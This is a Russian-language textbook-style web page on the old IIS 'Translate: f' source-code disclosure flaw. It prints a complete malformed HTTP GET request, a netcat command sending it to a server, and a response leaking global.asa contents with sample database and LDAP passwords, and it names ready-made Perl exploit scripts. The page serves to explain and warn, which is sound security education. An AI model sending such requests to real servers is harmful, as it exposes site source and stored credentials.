Защита информации в Интернет

Проблема US "Translate f"



Проблема US "Translate: f"

Проблема, связанная со вскрытием кода (showcode) не нова: она была свойственна и более ранним версиям Internet Information Server. Она получила название Translate: f и была описана Даниелем Дочкалом (Daniel Docekal) в бюллетене Bugtraq. Эта проблема является хорошим примером ситуации, когда взломщик направляет Web-серверу неожиданные данные и тем самым заставляет его выполнять неприемлемые в обычных условиях действия. Это классический вид атаки против протоколов обработки документов типа HTTP.
Атака Translate: f состоит в отправке искаженного запроса GET протокола HTTP на выполнение серверного сценария или обработку другого файла аналогичного типа (например, файлов с расширением .ASP (Active Server Pages) или global.asa). Эти файлы предназначены для выполнения на сервере, а не на клиентском компьютере. Видоизменение запроса приводит к тому, что Internet Information Server направляет содержимое файла удаленному клиенту, а не выполняет его с использованием соответствующего механизма обработки сценариев. Ключевым свойством искаженного запроса GET для протокола HTTP является наличие специального заголовка, завершающегося выражением Translate: f, и использование адреса URL, завершающегося символом обратной косой \. Ниже приводится пример такого запроса (строка [CRLF] означает символ возврата каретки/перевода строки, который в шестнадцатеричной системе счисления имеет код ODOA). Обратите внимание на обратную косую после имени файла global .asa и заголовок Translate: f.

GET/global.asa\ HTTP/1.0
Host: 192.168.20.10
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
Translate: f
[CRLF]
[CRLF]



Если путем конвейерной обработки текстовый файл с этой информацией направить (с помощью утилиты netcat) на уязвимый сервер IIS, то в командной строке отобразится содержимое файла /global, as a:

D:\type trans.txtI nc -nw 192.168.234.41 80
(UNKNOWN) [192.168.234.41] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 23 Aug 2000 06:06:58 GMT
Content-Type: application/octet-stream
Content-Length: 2790
Etag: "0448299fcd6bf1:bea"
Last-Modified: Thu, 15 Jun 2000 19:04:30 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
<!-Copyright 1999-2000 bigCompany.com—>
<object RUNAT=Server SCOPE=Session ID=fixit
PROGID="Bigco.object"x/object>
("ConnectionText") = "
DSN=Phone;UID=superman;Password=test;"
("ConnectionText") = "
DSN=Backend;UID=superman;PWD=test;"
("LDAPServer") = "LDAP://Idap.bigco.com:389"
("LDAPUserlD") = "cn=Admin"
("LDAPPwd") = "password"

Мы слегка модифицировали содержимое файла global.asa, чтобы продемонстрировать наиболее характерную информацию, которую может извлечь из него взлом-шик. К сожалению, на многие узлах до сих пор встраивают пароли приложений в ASP и ASA-файлы, повышая тем самым вероятность последующего проникновения хакеров в свои пенаты. Как видно из этого примера, взломщик, вскрывший содержимое файла global.asa, получает в свое распоряжение пароли многих серверов нижнего уровня, включая систему LDAP.
Готовые сценарии взлома на языке Perl, упрощающие описанную выше процедуру использования команды netcat, можно найти в Internet (авторы этой книги пользовались сценариями tarans.pl Ройлофа Темминга (Roelof Temmingh) и srcgrab.pl Смайлера (Smiler)).

Содержание раздела